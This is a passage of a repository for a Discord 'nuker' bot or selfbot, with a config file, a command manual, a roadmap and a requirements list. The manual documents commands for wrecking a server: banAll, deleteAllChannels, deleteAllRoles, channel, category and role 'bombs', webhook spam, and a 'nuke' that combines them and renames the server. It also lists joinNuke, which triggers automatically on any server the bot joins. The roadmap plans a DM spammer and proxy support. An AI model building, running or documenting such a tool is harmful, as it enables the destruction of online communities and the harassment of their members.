"token", 3 | "permissions": [ 4 | "TKperson#2348", 5 | "cyxl#0001", 6 | "713936815022932079", 7 | "349338062485979136" 8 | ], 9 | "bomb_messages": { 10 | "random": 10, 11 | "fixed": [ 12 | "fixed 1", 13 | "fixed 2", 14 | "fixed 3", 15 | "ezzzzz", 16 | "TKperson", 17 | "fixed 4", 18 | "fixed 5", 19 | "fixed 6", 20 | "fixed 7" 21 | ] 22 | }, 23 | "webhook_spam": { 24 | "usernames": [ 25 | "\u200b", 26 | "more names", 27 | "more names2" 28 | ], 29 | "pfp_urls": [ 30 | null, 31 | "link to image", 32 | "link to image2" 33 | ], 34 | "contents": [ 35 | "@TKperson Hello C-real was here", 36 | "C-REAL on top", 37 | "Keep this under 2000 characters", 38 | ":The_bot_can_use_any_emojis_in_all_the_servers_that_the_bot_is_in: <- that is not 1 character keep that in mind" 39 | ] 40 | }, 41 | "bot_permission": "2146958847", 42 | "command_prefix": ".", 43 | "bot_status": "offline", 44 | "verbose": 15, 45 | "after": [ 46 | "aCat something", 47 | "aChannel some-channel-to something", 48 | "sn nuked", 49 | "si https://ih1.redbubble.net/image.788111706.5520/st,small,507x507-pad,600x600,f8f8f8.u2.jpg" 50 | ] 51 | } 52 | -------------------------------------------------------------------------------- /manual.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | # Known issues 4 | 5 | Selfbot - unable to detect all of the members in the server. Fetch members command will be added in 2.4 or later including mass DM. 6 | 7 | # Commands documnet 8 | 9 | All commands are not case sensitive. 10 | 11 | \[a] - required argument 12 | 13 | {a} - optional argument 14 | 15 | \[a='1'] or {a='1'} - a is set to '1' by default. 16 | 17 | [a#This is a comment] or {a#This is a comment} 18 | 19 | \[] - no arguement is needed 20 | 21 | # descriptions will be written out soon... 22 | ### `addChannel` 23 | 24 | * aliases: `aCh`, `aChannel` 25 | * description: Adds a channel to the server you are connected to. 26 | * params: \[name#No spaces allowed] {category=None#Spaces allowed} 27 | 28 | ### `addRole` 29 | 30 | * aliases: `aRole`, `aR` 31 | * description: Adds a role to the server you are connected to. 32 | * params: \[roleName#Spaces allowed but you cannot of names end with numbers] {rolePermissions#Use a role permissions calculator, there's one provided in builder.html, and put it at the end of the roleName separated with space} 33 | 34 | ### `addEmoji` 35 | 36 | * aliases: `aEmoji`, `aEm` 37 | * description: Adds an emoji to the server you are connected to. 38 | * params: \[item#You can use a link, discord custom emojis, or your computer file path] {name#No spaces; this is only required when you are using a link in the first arg} 39 | 40 | ### `addVoiceChannel` 41 | 42 | * aliases: `aVoiceChannel`, `aVC` 43 | * description: Adds a voiceChannel to the server you are connected to. 44 | * params: \[name#No spaces] {category=None#Spaces allowed} 45 | 46 | ### `addCategory` 47 | 48 | * aliases: `aCat`, `aCa` 49 | * description: Adds a category to the server you are connected to. 50 | * params: \[name#Spaces allowed] 51 | 52 | ### `ban` 53 | 54 | * aliases: No command * aliases provided. 55 | * description: Bans someone in the server you are connected to. 56 | * params: \[user#Ping, id, or just username. If there are 2 or more same usernames, the script will always pick the one that comes first] 57 | 58 | ### `banAll` 59 | 60 | * aliases: No command * aliases provided. 61 | * description: bans everyone it can in the connected server. 62 | * params: \[] 63 | 64 | ### `bans` 65 | 66 | * aliases: No command * aliases provided. 67 | * description: Shows all the bans in the server that you are connected to. 68 | * params: {pageNumber=1} 69 | 70 | ### `channelBomb` 71 | 72 | * aliases: No command * aliases provided. 73 | * description: Makes a ton of random channels in the connected server. 74 | * params: \[numberOfBombs#The number of channels you want to create] \[bombType#It can only be b64, an, or fixed] 75 | 76 | ### `categoryBomb` 77 | 78 | * aliases: No command * aliases provided. 79 | * description: Makes a ton of random categorys in the connected server. 80 | * params: \[numberOfBombs#The number of categories you want to create] \[bombType#It can only be b64, an, or fixed] 81 | 82 | ### `channels` 83 | 84 | * aliases: `tc`, `textchannels`, `textchannel`, `channel` 85 | * description: Shows the channels that are in the server you are connected to. 86 | * params: {pageNumber=1} 87 | 88 | ### `checkRolePermissions` 89 | 90 | * aliases: `check`, `crp` 91 | * description: Checks the total roles permission you have. 92 | * params: \[user#Ping, id, or just username. If there are 2 or more same usernames, the script will always pick the one that comes first] 93 | 94 | ### `categories` 95 | 96 | * aliases: `cat`, `category` 97 | * description: Shows the categories that are in the server you are connected to. 98 | * params: {pageNumber=1} 99 | 100 | ### `clear` 101 | 102 | * aliases: `purge` 103 | * description: Deletes a certain number of messages in a the channel you are using this command in. 104 | * params: {numberOfMessages=All#Leave this blank if you want all message in that channel to be deleted, but seriously deleting the channel would be much easier} 105 | 106 | ### `changeStatus` 107 | 108 | * aliases: `cs` 109 | * description: Changes the status of the bot. 110 | * params: \[status#offline, invisible, dnd (or do_not_disturb), online, or idle.] 111 | 112 | ### `connect` 113 | 114 | * aliases: `con` 115 | * description: Connects the bot to a server. 116 | * params: \{server#id or server name, and unicode username is allowed. If you are using this command in the server you want to connect to, you don't have to put an argument here if that's the case} 117 | 118 | ### `deleteRole` 119 | 120 | * aliases: `dRole`, `dR` 121 | * description: Deletes a role in the server you are connected to. 122 | * params: \[role#name or id] 123 | 124 | ### `deleteChannel` 125 | 126 | * aliases: `dChannel`, `dCh` 127 | * description: Deletes a channel in the server you are connected to. 128 | * params: \[channel#name or id] 129 | 130 | ### `deleteVoiceChannel` 131 | 132 | * aliases: `dVC`, `dVoiceChannel` 133 | * description: Deletes a voiceChannel in the server you are connected to. 134 | * params: 135 | 136 | ### `deleteCategory` 137 | 138 | * aliases: `dCat`, `dCategory` 139 | * description: Deletes a category in the server you are connected to. 140 | * params: 141 | 142 | ### `deleteCC` 143 | 144 | * aliases: `dCC` 145 | * description: Deletes a channel, voice channel, or category in the server you are connected to. 146 | * params: \[name#or id] 147 | 148 | ### `deleteEmoji` 149 | 150 | * aliases: `dEm` 151 | * description: Deletes a emoji in the server you are connected to. 152 | * params: \[emoji#name or id] 153 | 154 | ### `deleteAllRoles` 155 | 156 | * aliases: `dar`, `dAllRoles` 157 | * description: Deletes all roles in the connected server. 158 | * params: \[] 159 | 160 | ### `deleteAllChannels` 161 | 162 | * aliases: `dac`, `dAllChannels` 163 | * description: Deletes all channels in the connected server. 164 | * params: \[] 165 | 166 | ### `deleteAllEmojis` 167 | 168 | * aliases: `dae`, `dAllEmoji` 169 | * description: Deletes all emojis in the connected server. 170 | * params: \[] 171 | 172 | ### `deleteAllWebhooks` 173 | 174 | * aliases: `daw`, `dAllWebhooks` 175 | * description: Deletes akk webhooks in the connected server. 176 | * params: \[] 177 | 178 | ### `emojis` 179 | 180 | * aliases: No command * aliases provided. 181 | * description: Shows the emojis that are in the server you are connected to. 182 | * params: {pageNumber=1} 183 | 184 | ### `help` 185 | 186 | * aliases: `h`, `commands` 187 | * description: Display all the commands. args: [Optional: type: all/names/command: default=names] [Optional: n: n of page] 188 | * params: {type=all#all/names/command just play around with this one. It should be very easy to understand.} {pageNumber=1#for type command} 189 | 190 | ### `joinNuke` 191 | 192 | * aliases: `nukeOnJoin`, `join nuke` 193 | * description: Nuke command will get executed in the next server the bot joins. 194 | * params: [boolean#True or false. True means turn it on. And false means turn it off] 195 | 196 | ### `kaboom` 197 | 198 | * aliases: No command * aliases provided. 199 | * description: Combines the channelBomb, categoryBomb, and the categoryBomb all into one command. 200 | * params: \[numberOfBombs#The number of channels, categories, and roles you want to create] \[bombType#It can only be b64, an, or fixed] 201 | 202 | ### `leave` 203 | 204 | * aliases: No command * aliases provided. 205 | * description: Leaves the server you choose to leave. 206 | * params: {server#name or id. If no arg is provided then the bot will leave the server it's connecting to} 207 | 208 | ### `leaveAll` 209 | 210 | * aliases: No command * aliases provided. 211 | * description: Leaves all servers it is in. 212 | * params: \[] 213 | 214 | ### `link` 215 | 216 | * aliases: `l` 217 | * description: Sends an invite code for the bot. 218 | * params: \[] 219 | 220 | ### `moveRole` 221 | 222 | * aliases: `mRole`, `mR` 223 | * description: Moves the given role in hierarchy(If you have the permissions) in the server you are connected to. 224 | * params: \[role#name or id. Spaces are allowed] \[position#position in hierarchy. The last space separated argument will be counted has the position] 225 | 226 | ### `nuke` 227 | 228 | * aliases: No command * aliases provided. 229 | * description: combines the banAll, deleteAllChannels, deleteAllEmojis, deleteAllRoles, deleteAllWebhooks commands into one big command. Also changes the connected servers name and icon. Plus, it runs commands inside of "after" after nuking. 230 | * params: {useAfter=True#True or false. If you don't want to execute the after commands you entered in the config file you can set this to false} 231 | 232 | ### `off` 233 | 234 | * aliases: `logout`, `logoff`, `shutdown`, `stop` 235 | * description: Turns off the bot. 236 | * params: \[] 237 | 238 | ### `roleBomb` 239 | 240 | * aliases: No command * aliases provided. 241 | * description: Makes a ton of random roles in the connected server. 242 | * params: \[numberOfBombs#The number of roles you want to create] \[bombType#It can only be b64, an, or fixed] 243 | 244 | ### `roles` 245 | 246 | * aliases: `ro`, `role` 247 | * description: Shows the roles that are in the server you are connected to. 248 | * params: {pageNumber=1} 249 | 250 | ### `roleTo` 251 | 252 | * aliases: No command * aliases provided. 253 | * description: Gives a role to someone in the connected server. 254 | * params: \[user#id or ping only] \[role#name or id] 255 | 256 | ### `si` 257 | 258 | * aliases: `serverIcon`, `changeServerIcon` 259 | * description: Changes the server icon in the connected server. 260 | * params: \[item#You can use a link, discord custom emojis, or your computer file path] 261 | 262 | ### `servers` 263 | 264 | * aliases: `se`, `server` 265 | * description: Shows the servers the bot is in. 266 | * params: {pageNumber=1} 267 | 268 | ### `sn` 269 | 270 | * aliases: `serverName`, `changeServerName` 271 | * description: Changes the server name in the connected server. 272 | * params: \[name#Unicode is allowed] 273 | 274 | ### `unban` 275 | 276 | * aliases: No command * aliases provided. 277 | * description: Unbans someone in the server you are connected to. 278 | * params: \[user#name, id, or ping] 279 | 280 | ### `voiceChannels` 281 | 282 | * aliases: `vc`, `voicechannel` 283 | * description: Shows the voiceChannels that are in the server you are conencted to. 284 | * params: {pageNumber=1} 285 | 286 | ### `webhook` 287 | 288 | * aliases: `webhooks`, `wh` 289 | * description: Creates, Attacks, Lists all of the weebhooks in the connected server. 290 | * params: {pageNumber=1} 291 | 292 | -------------------------------------------------------------------------------- /news.txt: -------------------------------------------------------------------------------- 1 | # Added 2 | 3 | -Made new and better help command 1/19 4 | -Add proxy support 5 | -Update readme.md 6 | 7 | # Want To Add 8 | 9 | -Params to help command 10 | -Add DM spammer 11 | 12 | If you have any ideas with new modules/commands or anything else that we can add make an issue named idea or dm me on discord at cyxl#0001 13 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | discord 2 | packaging 3 | requests 4 | colorama 5 | --------------------------------------------------------------------------------